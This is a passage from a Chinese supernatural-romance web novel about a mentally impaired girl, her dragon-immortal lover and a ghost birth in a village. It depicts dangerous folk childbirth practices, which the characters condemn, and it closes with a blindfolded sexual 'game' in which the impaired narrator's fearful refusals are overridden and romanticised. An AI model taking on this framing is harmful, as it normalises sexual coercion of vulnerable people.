来接应我们的中年大叔和李大叔是故交,姓何。
今天要生孩子的女人,就是他家儿媳妇。
进村的路上,银杏唯恐我又跑丢了,特意往我手腕系了条红绳,红绳另一端绑着她的莲花银镯。
我右手紧抓阿漓的手,老实跟在银杏后边。
中年大叔在前引路,叹息声一道连着一道,惆怅地朝李大叔诉苦:
“都已经生三天了,还没生下来呢!产婆找了,村里学医的大学生也来看了,连村南头给人治怪病的老神婆都请了,全都一点用都没有!
产婆守了小红三天三夜,愣是没见到孩子的头!
昨天学医的大学生带着卫生院的人过来,检查了一通,说孩子闷在肚子里,没到生产的时辰,还说什么,小红的宫口没开,现在生不出来,要想大人孩子不遭罪,必须得剖!
我可都听村里有生孩子经验的妇女说了,剖腹产容易影响孩子的智商,剖出来的孩子身体底子差,容易夭折。
老哥哥你是知道的,我们老何家三代单传,我儿子都三十二岁了,才得这么一个男婴,我是坚决不可能允许她们给我儿媳妇做剖腹产手术的!
昨晚我又把村里的神婆请来瞧了一眼,哎,可真是怕什么来什么,当初小红生不出孩子的时候我就担心她是不是被什么脏东西缠上了……昨晚一瞧,还真是!
神婆子说,有东西骑在我儿媳妇肚子上,卡着我儿媳妇的肚子,不让我儿媳妇生孩子!
这不,我连夜就给你打了电话,一早就提心吊胆地在村口等着了!
神婆子讲,她道行不够解决不了这件事,要想赶走那个脏东西,还得您来!”
“三天都没生出来?”
银杏表情拧巴地问何大叔:
“从科学的角度来讲,孩子在母亲肚子里发动了,要出生了,如果耽搁太长时间,有难产的征兆,不及时做剖腹产手术把孩子剖出来,孩子是会被母体憋死的……您的大孙子,现在还有动静吗?”
何大叔急得满头冒热汗:“怪就怪在这个地方!三天了,那孩子还在他妈的肚子里闹腾!又捶又踹的,小红都快被他折磨死了!”
“这孩子、这么急着出来吗?”银杏惊讶吐槽。
李大叔拿着烟杆双手背后,“老神婆有说,那脏东西是什么来路么?”
何大叔摇头:“神婆子没和我细讲,说是等您过去了,她同你说。”
李大叔会意颔首:“行!先去你家。”
连赶了大约二十来分钟的路,我们终于顺利到达何大叔家。
进了土坯墙垒成的小院,厨房门口拴着的那条大黄狗正疯狂朝我们甩尾巴……
我想去找大黄玩,却被银杏用红绳拽了回去。
“什么都玩只会害了你!”
银杏牵住我的手,无奈叮嘱我:
“别碰它,听见没?村里的狗认主,你不是它主人家的成员,它会咬你的!你要是被狗咬伤抓伤,我就得带你去打狂犬疫苗!
现在的狂犬疫苗可疼了,听说还要往手背上扎好几针,用针头挑起手背的皮肉,往你的皮里打药水,扎完针你的手背会肿得像馒头,一不小心撑爆了你的皮,药水还会从你的毛孔里飙出来——”
我听完,头皮发麻的怯怯往青漓身边躲了躲。
银杏见成功吓到了我,这才松口气,拍拍我的肩膀再次重申:“听话哦,不能玩狗,不然我真会带你去打狂犬疫苗的!”
我失落点头:“哦……”
刚进院子没多久,我就听见西头配屋里传来女人的惨叫声——
李大叔把手里烟杆丢给银杏,大步朝女人的产房赶去。
银杏拿好烟杆,原地徘徊了半分钟,西配屋里的女人陡然喊得更狠了,这次还哭着嚷嚷了句:“放过我吧,我不生了……”
听声音都能想象到她疼得有多厉害。
我站在院子里怔怔道:“生孩子,这么疼吗?”
银杏叹气:“要不怎么说,妇人产子就是半只脚踏进鬼门关呢!”
我低头喃喃又问:“每个女孩,都得生孩子吗?”
银杏嗯了声:“按理来说,是这样。她们都说,生儿育女是女性的天职。”
我揉揉自己的小腹:“我怕疼……我以后也要这样生孩子吗?我不想生。”
青漓从后揽住我的腰,看我这样,眼神里携着心疼:
“不想生,就不生。生儿育女是女性天职不错,但女性,也有选择不生的权利。身体是女孩子自己的,要不要用自己的身体孕育新生命,也是女孩子本人说的算。”
青漓话音刚落,银杏就忍不住夸赞:“说得好!龙仙大人,你是真爷们!”
我好奇回头看了眼青漓,又望向银杏,不是很懂:“我们不是在玩,青漓只有我能看见的游戏吗?银杏你怎么也能听见阿漓说话?”
“呃……”银杏清了清嗓子,“因为我是上帝视角!”
“上帝视角是什么意思?”我问。
银杏囫囵解释:
“上帝视角,就是不被游戏规则约束……你可以理解为,我是来监督你们玩游戏的!镜镜你可千万不能让别人发觉龙仙大人的存在哦,不然你就输了!”
“输了会怎么样?”
“输了、就不能和我一起出来玩了!”
我心下一紧:“那、我不要输。我要赢!我要每天都能和你一起出来玩。”
“镜镜真懂事!”银杏摸摸我的脑袋。
可产房那边,忽又传出李大叔的愤怒呵斥声:“我让你把东西放下,你听见了么!你这样非但不能让小红顺利生产,稍有不慎还可能一尸两命!”
“这都是什么年代的陋习!你们可真无知!”
银杏愣住,下一秒拉着我的手,迫不及待地拽我去看热闹——
李大叔不让银杏进产房,银杏就带我蹲在西配屋的窗户底下偷看。
屋里男女老少围了一圈又一圈,躺在床上的女人长发凌乱衣衫不整,双腿屈起,下半身只盖了一张龙凤牡丹印花红床单。
女人上身红衣领口大敞,由于多次挣扎的缘故,酥胸露出大半,雪白的胸脯上汗珠盈盈,水洗般的手臂大片红痕……瞧着像是被人用手指头掐出来的。
一双苍白纤长的玉手死死抓着枕头两端,痛得身体弓起,哇哇哭喊。
“妈,我好疼,我不生了!”
一面相凶煞的中年妇人端着一碗泡了水的、黑头发丝,强势地给床上女人喂下去——
“哪个女人不得经历这一遭,就你矫情!老何你也真是,这小蹄子生不出孩子是她身子不好生养,和鬼神有什么关系!
又是请神婆又是喊老李大哥的,我早就说过,生孩子方面我有经验,孩子出不来,宫口打不开,用擀面杖压压就出来了!
越是难生的孩子,越证明他不平凡,以后保准有大出息!”
床上的女人脸上汗如雨下,被迫灌了满嘴的头发丝,呛得虚弱咳嗽。
可还没等她缓上一口气,另一名上了年纪的老太婆就拿着擀面杖,毫不留情的往女人隆起的腹部压下去——
女人顿时一声撕心裂肺的惨叫,痛的双腿打颤。
我捂住嘴,瞪大眼睛看着屋内发生的一切,害怕得大气都不敢出。
李大叔被气红了脸,想上前阻止,却碍于女人身上没穿几件蔽体的衣物,迟迟无法靠近。
“你赶紧停下来!你这是在要这孩子的命!”李大叔恼火怒吼。
可那帮忙给女人压肚子的老太婆手上动作却依旧没停:
“老李我劝你别多管闲事,他们老何家三代单传,现在孩子生不出来你又帮不上什么忙,孩子在母体里憋久了,万一憋坏了脑子可怎么办!我们村的女人祖祖辈辈都是这么过来的,怕疼就别当女人啊!”
“你!”
我扒在窗台上,愣愣看着红衣女人的腹部上方,缓缓现出了另一道红衣女人的身影——
那女人也披散着头发,身上穿着与床上女人一样的红色交领薄纱裙。
此刻正骑跨在床上女人高高鼓起的小腹上,用双脚勾着女人肚子里的孩子。
我惊讶瞪大双眼,呆呆看着那抹凭空出现的女人影子。
女人似也察觉到我在看她,蓦然扭头,阴风掀起遮住她半张脸的长发,露出一张艳丽、妖媚的容颜……
那女人脸上糊着浓妆,涂着烈焰红唇,与我四目相接,唇角挑起一抹诡异的笑。
我被她盯得浑身不自在,小声问银杏:“为什么,她要骑在别人的肚子上?”
银杏僵了下,随即目露惊恐,颤颤问我:“你又看见什么了?”
我说:“我看见……有个红衣女人,骑在床上那个姐姐的肚子上。她现在,还朝我笑呢。”
银杏猛地倒抽一口冷气,拽上我就不管不顾地把我往青漓身边送:“完了完了,又撞上了!镜镜是不是有阴阳眼啊,她怎么总能看见我瞧不见的东西!”
青漓伸手接住我,看了眼我的眸子,冷静道:“是难产枉死的孕中煞,银杏,去厨房掏一把草木灰,送给你爹。”
“啊?”银杏顿住:“干啥用的?”
青漓道:“草木灰驱邪,能保孕妇的命。”
“那孩子呢?”
青漓拧眉:“先保大人。”
银杏慌张点头:“好嘞!”
银杏匆匆跑去厨房,我本来也想跟上的,却被青漓斩断腕上红线,拦了回去。
“阿鸾,阴阳眼虽能帮你识别妖鬼,但你现在身体太弱,不宜看见那些脏东西,本尊帮你遮一遮!”
他抬手用法术要来遮我的阴阳眼,我本能闭眼别过头,躲开他指尖的青色光芒……
但他一道法力划过我的视线后,我眼前竟突然金光乍现,强行挡开了他的遮目法术。
“阿鸾,你这双眼睛、原来不是阴阳眼,是神眼……”
第36章 你敢当我姐夫,我就把你丢池塘里喂鱼
什么阴阳眼,神眼……
我不解追问:“神眼,是什么?”
他对上我懵懂的眼神,欲言又止。
最后只宠溺地揉了揉我脑袋,低声敷衍:“阿鸾现在还不懂,等阿鸾病好了……本尊再解释给阿鸾听。”
“病?”我不乐意地皱眉:“我没有生病啊。”
他耐心哄我:“嗯,阿鸾没有生病,是本尊说错了。阿鸾只是、没有从前活泼了。”
大手温柔摸摸我的脸颊,他看我的眸光愈渐深沉,嗓音也略带沙哑:
“阿鸾……到底什么时候才能恢复如初,记起本尊。本尊还是更喜欢、阿鸾活泼时的样子。都怪本尊,没保护好你。”
他在嘟嘟囔囔说什么呢?
什么恢复如初……为什么他们都说我脑子坏了?
我、聪明着呢!哪里傻了。
我任性地突然扑进他怀里,搂住他的窄腰,不安分地晃着他身体,朝他撒娇:
“我没有生病,你不许和他们一样说我变成傻子了!我脑子很好!
阿漓——你说过,你是最爱我的人,你最爱我就不能嫌弃我!你得喜欢我现在这个样子!”
他被我晃得受不住了,只好顺从地握住我肩膀,温声答应我:“好,不管阿鸾变成什么样,本尊都喜欢。”
“这还差不多!”我赌气哼了声。
没过多久,西配房那里就传出了幼童的哭声——
有女人们激动大叫,兴奋报喜:“哎呦生了!是个带把的!”
“我们老何家终于有后了!”
“快快快,抱过来给我瞧瞧,我的宝贝大孙子啊。”
“看着了么?我就说,生孩子这种事还是得听我们女人的!
老何你就是爱瞎咋咋呼呼,一听小红孩子生不出来就又是找学医大学生,又是找神婆子的。
神婆子要是真能未卜先知,她丈夫儿子死绝的时候,怎么没见她及时出手把人救回来?!
还把老李大哥也给喊来了,多此一举,弄得满床都是草木灰,脏死了!”
我听见动静,拽着青漓就要赶过去凑热闹。
但,没跑几步竟又听见了老太太的尖叫声——
紧接着整个西配屋里都像是瞬间炸开了锅,嘶声惊叫此起彼伏……
“啊——我的手指头啊……”
“这是什么怪物!怎么、长着一张鬼脸!”
“我的妈呀,这是妖孽啊,快!快找铁锹把它打死,打死!”
“不要!妈,大舅妈,求你放过我的孩子吧,那是我十月怀胎辛苦生下来的儿子啊……它不是怪物!”
“你放屁,不是怪物怎么能一口咬掉你婆婆的手指头?你生下怪胎,肯定会给村里带来不祥,村长家的,你赶紧回去通知村长,让他喊几个年轻有力气的壮汉过来,把小红浸猪笼——”
“就是,一定是小红之前干了什么伤天害理的事,所以才会生下鬼胎。先把这个孩子打死,再把小红浸猪笼投河……”
我急着过去看热闹,刚拽着青漓跑到西配屋门口,就被突然冒出来的银杏给拦住了。
银杏拍着胸口惊恐道:“别去看,会吓着镜镜的。”
青漓沉了眸色:“出什么事了?”
银杏摆手大口大口喘气:“老何家媳妇生了……但生出来的,是个鬼娃娃!那孩子全身干瘪,像是只有一层皮和一副骨架,身上根本没有血肉填充……孩子的脸更恐怖,青面獠牙,真和恶鬼一样!”
“皮包骨,青面獠牙。”青漓镇定道:“是孕中煞搞的鬼,孕中煞狡猾,不过,你爹也不简单。这种小事他应该能解决。”
“那个孩子……真的不能留了吗?”银杏问青漓。
青漓面色清冷道:
“她生了三天都没把孩子生出来,你觉得,她的孩子还能活么?
那孩子两天前就已经胎死腹中了,只不过受孕中煞影响,变成了恶灵,把它留下来,只会令何家上下不得安宁,整个村子都不安生。它会先以自己母亲的血肉为食,再长大点,它就能吃人。
榴花村上下不过一百多户人家,还不够这只恶灵一年的口粮。”
“啊?那只能把它消灭掉了……我是觉得,用铁锹拍死也太残忍了。”
“你以为,区区铁锹就能要了一只恶灵的性命么?”青漓冷冷瞥了银杏一眼,“你爸手里有只宝葫芦,或能降得住它。”
银杏用力拍心脏:“太恐怖了太恐怖了!嗳?你怎么知道我爸手里有个能收妖的大葫芦?”
青漓没有搭理她。
西配屋乱成一团,我几次想冲进现场开开眼,都被青漓给拉着手硬拽了回去。
我同他闹,他便从后搂住我的腰,故意将薄唇压在我耳畔,往我耳朵里吹热气:“阿鸾,屋里没什么好看的……你可以,多看看本尊。”
我拿他没办法地扭头看他,虽然,他的确长得很好看,剑眉星目,丰神俊朗,霞姿月韵……
五官精致得像是被人精心用笔墨修饰过。
而那双深邃的青眸,更是宛若落满星辰的大海,浮光跃银,自带一缕勾人的魔力。
每每与我四目相对,我都会被他眼中的幽青光华给诱得迟迟挪不开视线……
但,他在身边,只要我想看,随时随地都能见到。
别人生下鬼胎这种稀罕事,我还没见识过呢。
我赌气皱了皱鼻头,刚要扭头,把视线挪回正前方,他却抢先一步霸道捏住我的下颌,不许我看别人……
我又不高兴地哼了声,目光稍稍抬起,定格在他眉心的那抹朱红印记上——
脑海里,忽隐约浮起了几幕模糊的画面。
昏暗的小房间内,月光透过白纱窗帘洒进卧室,投在床上一男一女缠绵翻滚的轮廓上。
女孩颤颤嘤咛,雪白手臂缠在银发男子的脖子上,委屈祈求:“救救我……我忍不住了。”
华发如瀑,容颜俊美妖冶的男人弯唇亲昵诱哄:“救你,我有什么好处?”
女孩俏脸白里透红,肩上红痕宛若一朵朵绽放的粉嫩桃花:“你、想要什么……”
男人青眸深处有光盈盈,怜惜地往女孩粉唇边落下浅浅一吻,语气温软且笃定:“要你。”
“还是难受,再、重些……”
男人的指腹在女孩肩上揉出更多春日桃花。
低头,醉眼迷离地含住女孩殷红唇瓣,阖目低喃:“被你当成解药,本尊,甘之如饴。”
“心跳太快,你别这样,我、要喘不过气了。”
“呵,是你说要……本尊给你,你又受不住。”
“你是谁……”
“你体内的药性是解了,阿鸾,本尊中的毒,还没解干净。”
“啊?你中了、什么毒?”
“本尊,中了你的毒,没有你,本尊会死……”
“阿鸾,我们还会再见的。”
“本尊的,骨仙娘娘。”
月光清凉如水,再恍神,已回到了月阴村、我的家……
粗壮凶猛的大青蛇一道神力将趴在我身上欺负我的两个老男人掀飞出去。
再出现在我的面前,我正抓着被子,缩在床上瑟瑟发抖。
大青蛇深情款款地低眸瞧我,我伸手,它便乖巧地探头,将脑袋送过来——
“阿鸾……”
“阿鸾,本尊是青漓,水离漓。”
“宋鸾镜,你只能是本尊的……”
可画面一晃,记忆中的那条大青蛇,突然变成了浑身是血的大青龙——
“阿鸾,你的心,还真是捂不热。”
“宋鸾镜,你还和从前一样,冷血无情。”
冷血、无情……
我没有,捂不热,也没有冷血无情——
为什么突然就不要我了,为什么不相信我……
我越想脑子越疼,头颅里痛感密密麻麻钻得脑壳都要裂开了。
“阿鸾!”抱着我的男人目下一寒,接住我虚弱倒下的身体,大手捂在我的脑袋上意图帮我减少疼痛,心慌安抚:“阿鸾,别去想,听话……记不起来就不记了!阿鸾,我在,我一直在你身边,没有离开你!”
脑子的记忆有点错乱,像一块碎掉的玉石,碎片七零八散,无论我怎么努力拼凑,都拼不出一段完整的回忆——
反而每每想起那句:“宋鸾镜,你还和从前一样,冷血无情。”
我就浑身发抖,心脏跳动剧烈,喘不上气……
“我没有冷血,我没有想杀你,你为什么不信我……”
眼泪一滴连着一滴砸在他的手背上,他心疼地给我擦去眼角湿润,抖着沉闷嗓音耐心抚慰我的情绪:“是本尊不好,阿鸾,你别这样……本尊看着,心如刀绞。”
旁边神情凝重的银杏闻言,不屑地翻了个白眼:“哼!”
我脑子里太疼太乱,突然控制不住自己,抓住他的胳膊就往他手掌虎口处狠狠咬下去——
直到见了血,腥咸味在我舌尖晕散开,我才喘息缓和下来,大脑渐渐冷静。
再睁开眼,我发现自己竟然啃伤了青漓。
而且他的血,还挺、好喝……
我讷讷昂头,不记得刚才发生了什么事,也不晓得自己为什么要咬他。
但,我知道,咬人不对。
怯怯松了牙,我双手扒在他的胳膊上,歉意看着容颜苍白、目光悲凉的青漓,小声说:“对不起阿漓,我、我不是故意的。”
他没有管自己鲜血淋漓的手,只不管不顾地红着眼,温柔将我按进怀里,哽咽安慰我:“没事了阿鸾。”
可受伤的人,是他啊。
我心虚地靠在他怀里没再乱折腾,虽然西边屋里的动静勾得我蠢蠢欲动,可我更怕他找我算我咬伤他的账。
我咬他,他不会生气吧?
我满脑子飘的都是好想去看鬼胎,好想听她们在喊什么……飘得我都昏昏欲睡了。
但,就在我无聊地想喊青漓回家睡觉时,我突然听见了两道熟人的声音!
“李银杏?你来干什么?!”
“鸾妹……”
是姐姐和赵二哥!
我从青漓怀里挣扎出来,扭头看见姐姐,立马丢下青漓朝姐姐跑了去:“姐姐!”
我欢喜抱住姐姐,但下一秒,却被姐姐嫌弃地一把推开。
我被推得踉跄后退两步,幸好赵二哥及时抓住我胳膊扶了我一把……
赵二哥今天看我的眼神,有点陌生。
抓着我转头问姐姐:“鸾妹的脑子……是真坏了?”
姐姐双臂抱胸嫌弃睨我,冷笑一声:
“你说呢?看不出来吗?脑子被蛇妖给震坏了,现在蠢得连村里那些人都认不出了。只能记得我、妈、还有你,连李银杏父女俩,也是她后来才隐约记起来的。”
赵二哥目光复杂地看了我一眼,“你下手也太狠了!”
姐姐鄙夷的将赵二哥从上到下打量了一遍:
“二哥,你装什么呢?我下手狠,你就不狠了吗?
你别忘记了,当初你为了把她搞到手,拿我的洗身水逼她喝!她挣扎反抗,你就把她推下了悬崖。
后来,你又为讨我欢心,帮我去骗她镯子……
前些年,是你口口声声向她承诺,一定等她大学毕业,等她回月阴村和你结婚。
也是你向她发誓,绝不喝我的洗身水,可结果呢,你不还是没经得住诱惑,背叛了她吗?
宋鸾镜她现在变成傻子了,你又心疼了?
演什么痴情种呢,你如果真爱她,现在就不会隔三岔五的来我屋里,找我夜夜缠绵了!”
这么多内容,我脑子一时有些反应不过来……
“洗身水,是什么?赵二哥你为什么隔三岔五去姐姐屋里呀?”我歪头询问。
赵二哥羞得满脸涨红,松开我胳膊闷咳一声,心虚忽悠我:“你、不懂!鸾妹,脑子不好就不要再动不动往外跑了,当心被人贩子拐卖。”
我失落的哦了声:“你也嫌我脑子不好……”
银杏大步迈过来将我护在身后,没好气地反呛道:“你得庆幸镜镜现在脑子不好,不然巴掌早扇你脸上了!奸夫、淫妇!”
姐姐顿时生气瞪大眼,张牙舞爪地要来撕扯银杏:“哎你这个小贱人!你骂谁奸夫淫妇呢!”
银杏护着我掐腰朝姐姐耀武扬威:
“骂你呢,你们一个欺骗镜镜感情,一个发癫抢妹妹的男人,背着镜镜私下搞到一块去,不是奸夫淫妇是什么?!
哦对,可能真是我形容错了,你们俩,骂你们是奸夫淫妇都是羞辱了这个词!
奸夫淫妇好歹要脸,人家好歹是一对一,你们呢……
宋花枝,全村的男人都快被你睡遍了吧?
你和赵二,充其量只能算是、床伴?赵二你知道你这种人在古代叫什么吗?
叫暖床男宠!连情人都算不上。”
“李银杏,你骂人也太脏了吧!”赵二哥愤怒反驳,银杏理直气壮地挺直腰杆:“就骂你们,有本事打我啊!”
“小贱人我……”姐姐抬手就要扇银杏,然银杏却故意主动往前迈了一步,胆大挑衅:“我爸可就在何家,你打我,信不信我爸让你们俩吃不了兜着走!”
听见李大叔的名号,姐姐高高举起的那巴掌半晌都没扇下来。
又过几秒,姐姐红着眼眶咬牙切齿地放下胳膊,恶狠狠威胁银杏:“小贱人,我们走着瞧,迟早有一天,我会让你和你那个野爹见识到我的厉害!”
银杏也不甘示弱:“行啊,我李家奉陪到底!”
赵二哥看两人针锋相对,可能是怕银杏和姐姐又一言不合吵起来,就将话题转移回我身上,轻轻问我:“鸾妹你怎么来榴花村了?以前陪在你身边的那位、龙仙呢?”
我扭头瞟了眼离我不远的青漓,想起之前他说的游戏规则,乖乖摇脑袋:“我不知道……我是和银杏一起来榴花村看人生孩子的。”
赵二哥狐疑地又确认一遍:“龙仙真没跟你一起来?”
我老实巴巴:“没……”
姐姐听到这个答案,似乎很高兴,拍拍手得意道:
“宋鸾镜啊宋鸾镜,亏你之前还为了他受尽折磨,宁愿被祭天,也不肯说出他的藏身之地。你是深爱那条龙,可人家压根没把你当回事啊!
你才刚变成傻子,你的龙仙大人就不要你了,宋鸾镜,他对你,只是玩玩而已,没想到你却当真了!真是个大蠢货!”
姐姐这话说的,让青漓很不高兴。
青漓悄然来到我身边,默默握住我的手,与我十指相扣。
我内心毫无波澜地鼓了鼓腮帮子,缓了缓,才认真纠正道:“我不是傻子!”
姐姐抬手遮唇,笑得更开心了,
“傻子好啊,傻子就不能和我争抢圣女之位了……你傻了,有些东西,就能彻底属于我。
我的好妹妹啊,等着吧,很快,你的亲亲龙仙相公,就会成为你的姐夫。
等我嫁给龙仙,我不介意让你偶尔见龙仙一面,反正我不能生……
你虽然傻了,但你的痴傻是后天形成的,你孕育的后代,还会是正常婴儿……
如此,也能弥补我和龙仙没有孩儿的遗憾了。”
姐夫、后代……我脑子里越来越乱,后背也一阵阴凉。
青漓揽住我的肩,不放心地启唇:“阿鸾,别信……”
而我根本没心思听青漓说话,心慌意乱地昂头,鼓起勇气朝姐姐发火:
“我的老公,为什么给你!你凭什么、还要抢我的孩子!我才不要生孩子,就算有孩子,我也不给你。孩子是我的,青漓也是我的!”
护着我的青漓一愣。
银杏也诧异看向我,屏气凝神不说话。
姐姐以为青漓不在,仗着她说的话青漓听不见,就更加过分地讥笑道:“呦,小傻子生气了?”
冷下语气,姐姐的眼神像把锋利的刀子,瞪得我心底打怵:
“从小到大,你的东西,只要我喜欢,有什么是我抢不走的?宋鸾镜,凭你也配嫁给龙仙?龙仙这种好资源,你就该让给我。
你现在已经傻了,龙仙不要你了,你识趣些,别占着茅坑不拉屎!
我是看在,你我乃是同胞姐妹的份上,才允许你给龙仙孕育后代,假若没有这层血缘关系在,你连给我提鞋都不配!”
我恼火地喘着粗气,心脏内像有一双无形的大手在撕扯我的胸膛……
她说,她要和我抢青漓……
凭什么!
青漓是我的!
姐姐对上我气到湿润的眼眸,接着刺激我:“乖哦,小傻子,下次见到龙仙,就该叫姐夫了……”
她话音刚落,我就忍无可忍地从青漓怀里挣脱出来,大步朝姐姐迈去,窝火地狠推了一把姐姐,委屈地含泪吼她:
“我不叫!青漓是我的,我不让给你!从小到大你什么都抢我的,只要是我喜欢的东西,你抢不走就毁掉,我早就讨厌死你了!坏姐姐,你要是敢和我抢青漓,我就咬死你!让我给你提鞋,你做梦去吧!”
姐姐后退两步站稳重心,不可思议地瞪着我惊讶道:
“你、推我?好啊,脑子傻了,脾气倒是变大了!以前、你和龙仙没在一起之前,你在我面前,可是连个不字都不敢说……你现在都没有龙仙撑腰了,还嚣张什么呢!”
“你还说!”我又推了姐姐一把,憋着眼泪放狠话:“你再说我是傻子,我撕烂你的嘴!”
“宋鸾镜你……”
姐姐想找我打架,关键时刻李大叔终于拎着宝葫芦从西配屋疾步赶了过来,一声怒斥喝止姐姐——
“宋花枝,你别欺人太甚!”
姐姐瞧见李大叔,明显怂了几分。
赵二哥知道李大叔的厉害,赶忙拉上姐姐,打不过就跑。
银杏回头盯着两人鬼鬼祟祟的背影,小声问李大叔:“这俩脏东西怎么也来了?真晦气!”
李大叔从银杏那取回烟杆,无奈道:“老何媳妇是赵二表姑妈,今天他家出了这么大的事,赵村长肯定要让赵二过来看看。”
说完,李大叔走过来,抬手揉揉我的脑袋,意味深长道:
“脑子都被伤成这样了,还这么护着他……到底是前世姻缘,这辈子还如此热烈地喜欢他。
青龙仙,你现在可后悔了?这世上除了小鸾镜,怕是没人会这般在意你了。”
“本尊、只恨当初离开,没有将她一道带走。
她说她没有背叛本尊,本尊其实是相信的。
只是本尊被她那句本尊杀人就该死伤着了,本尊生她的气,才会弃她而去。
没想到这一去,本尊差点就永失所爱……”
他担忧地牵住我指尖,温柔给我抹眼泪:“阿鸾,别信她,本尊不会不要你。”
我瘪了瘪嘴,还是生气,壮着胆子也狠推了他一把:
“臭青漓,你要是敢当我姐夫,我就把你丢进池塘里喂鱼!”
他:“……”
第37章 哄着她蒙上双眼做游戏
何家媳妇小红生了鬼胎,李大叔用那只画了朱砂符的宝葫芦将鬼胎收了起来。
李大叔说,小红被孕死冤魂缠上了,就算处理了鬼胎,那个怨灵还会来何家闹事。
直到,把小红缠死为止。
为了保住小红的小命,李大叔决定暂时在李家住下。
孕妇生产后三天身上煞气最轻,火气最弱,也是孕中煞下手的良机。
所以,我们至少要在何家守上三天才能离开。
好在,何家房间多。
何大叔的媳妇与儿子为躲煞搬去娘家弟弟那住了。
空出来的房间,何大叔就安排给了李大叔与银杏。
原本何大叔是打算让我和银杏住一间屋的,可李大叔碍于青漓也在,就找何大叔要了屋后老宅那间东配房给我暂住。
巧的是,赵二哥和姐姐也要留在何家。
赵二哥和何大叔是亲戚,何大叔不好撵。
姐姐又坚决赖着赵二哥不肯先回去,于是何大叔与李大叔纠结了一个上午,最终决定,让赵二哥住老宅西配房,和我当邻居。
姐姐则与银杏住一间屋。
李大叔送我去东配房休息时,我不放心地和他商量:“银杏不喜欢姐姐,要不然,还是我和姐姐住一间屋吧,让银杏住老宅。”
李大叔淡定拒绝:“你和你姐姐一块住,龙仙呢?你打算让他晚上打地铺?”
我合理分配道:“阿漓可以和赵二哥一起住呀。”
李大叔呛了口烟:“还是算了吧,你家龙仙和赵二半夜打起来的概率,比银杏和你姐姐吵架的概率大多了!你别担心,杏子能镇住你姐姐。这不是还有你李叔我在么!”
我听话点点头,跟着李大叔一起进东配屋落脚。
“孕中煞的事,我还得再查查。
九黎山一带冤魂妖孽相互勾结,她若是孑然一鬼单枪匹马的来还好收拾,就怕她和本地的那些仙家妖物也有牵连。
等我查清她的来路,需要你的时候再来请你。”
李大叔客气地与青漓道。
青漓颔首应下。
李大叔又补充:“一日三餐我会让银杏给你们两口子送过来,其余时间,你就安心陪伴小鸾镜吧。”
青漓难得对别人有好态度,平静回了句:“多谢。”
“客气。”李大叔抱拳一礼,转身离开了老房子。
我站在门口目送李大叔走远,青漓揉揉我的脑袋关心问我:“想喝水,或是吃东西么?”
我冲他重重点头:“想吃你昨天给我摘的野果子。”
他犹豫片刻,道:“那你在屋里乖乖等本尊,本尊一刻钟……十五分钟就回。”
我乖巧答应:“好。”
在他临走前,还搂住他的腰,抱了抱他。
他在我身边一贯来无影去无踪,我习惯了他的突然出现,却没习惯他忽然消失。
看不见他的那一瞬,我下意识地慌了神。
过了一会儿,我才迟钝地反应过来——他是出门去给我找野果子了。
他走后我一个人无聊,就脱了鞋子爬上床,缩进被窝里埋头睡觉了。
近几天,我好像格外的嗜睡。
他采果子回来时,我已经处于半梦半醒的状态了。
我听见动静,知道是他在身边,便不想睁开眼,只伸出一只手在空气里乱抓,喃喃呼唤:“阿漓……”
他握住我胡乱挥舞的手,温和回应:“本尊在……”
我疲倦地轻吟:“陪我睡。”
他沉默片刻,软声答应:“好。”
锁上配屋的房门,他脱下外袍陪我躺下。
男人怀里炙热的体温将我牢牢包裹住——我贪婪用脸蛋蹭蹭他的脖窝,闻见他身上的淡淡莲花香,格外安心宁神。
我枕着他的胳膊要继续睡,恍惚间,忽然感觉,有些不适。
我睡得迷迷糊糊,有些闹起床气,委屈推了推他的胳膊:“阿漓,别闹。”
他附在我耳畔的吐息愈发炽热,搂着我的腰,非但没有听话收敛,反而把我往怀里收得更紧了——
“阿鸾。”他语调微醉的唤我。
我瞌睡得厉害,睁不开眼,只趴在枕头上用鼻音敷衍回了个:“嗯……”
他沉重的吐息烫红了我的耳根。
一只大手握住我的腰胯,掌力适中地按摩着。
“阿鸾想吃蛇肉么?”他贴着我的耳朵,刻意引诱。
蛇肉?
我瞬间就不瞌睡了!
欢喜地翻过身面向他,激动问道:“你把小蛇王弄过来了?”
他眼尾泛着妖异的红,眉心那抹象征身份的朱红神印隐隐绽着摄人神魂的暧昧红光……
像是喝醉了酒,眼底清明不复,欲海翻涌。
嘴角挑起一抹好看的弧度,握住我的指尖,送进口中——
红舌轻轻舔舐了两回我的指腹,我一惊,虽不晓得他在做什么,但能感受到身上、酥酥麻麻的……
“阿漓,你为什么舔我手指……我没有洗手。”我木讷说。
他握着我的指尖,眉眼如画,青眸有光,温暖勾人。
“阿鸾……”他的眼睛亮亮的,像海面倒映的皎皎明月……
偏偏眼尾又携着让人兴奋的殷红,好想亲一亲……
他亲吻我的掌心,大手搭在我腰间,揉得我浑身都软了……
“阿鸾,我们先玩个游戏好不好?”他温言细语地哄着我。
我想也没想就答应:“好呀,阿漓你想玩什么?”
他的手里不知何时,竟多出了一条黑色丝带……
广袖一挥,床前旧纱帐便缓缓垂落,遮挡了透窗洒入的明亮天光。
他将黑丝带系在我的眼睛上——
眼前一时漆黑,瞧不见他,让我有些心慌。
只是我还没来得及伸手抓他,身体就被他揽腰带坐了起来。
他抱住我,将下颌倚在我肩上,薄唇贴在我耳尖,低声诱哄:“阿鸾,我们来玩,可以让阿鸾开心的游戏……”
我看不见东西,只能靠拥抱他寻找安全感,双手抓住他的衣裳,我傻傻问:“什么游戏?”
他低笑,醇厚嗓音回荡在我耳侧,勾得我脊背更加酥麻了……
而之后,他竟层层解开我的衣物……
肩膀一凉,我不安呢喃:“阿漓,你为什么要脱我衣服?”
肩胛骨处陡然一暖。
是他的唇吻了下来——
我的心,倏地跳好快。
他的吻印在我耳根、脖颈……再落回肩膀……
我怯怯的护住心口……
掌心下的那颗心脏,砰砰跳的有力……
“阿漓,你不是说带我玩游戏吗……干嘛亲我……”我被他吓得声音都在发抖。
他埋在我心口,深吸一口气,指腹揉得我腰肢又酸又软。
“这就是游戏。”他低喘着握住我的手,小心在我脖子上咬了口。
趁我不自在地缩脑袋,收紧我的腰,将手指扣进我的指缝,掌心相贴。
我瞬间有种想推开他的冲动,害怕地拖着哭腔祈求:“阿漓,别咬我。”
他抚着我光滑的脊背,柔柔安抚:“乖,习惯了,就不难受了。”
我心口沉重,紧张到喘不过气——
“我不要和你一起玩了……”
“阿鸾,本尊带你,吃蛇肉……”
“你、不好吃!”
“阿鸾从前,最喜欢为夫了……”
我挣扎着要拽掉眼上的黑着,但他却以口,塞了枚野果子堵我嘴。
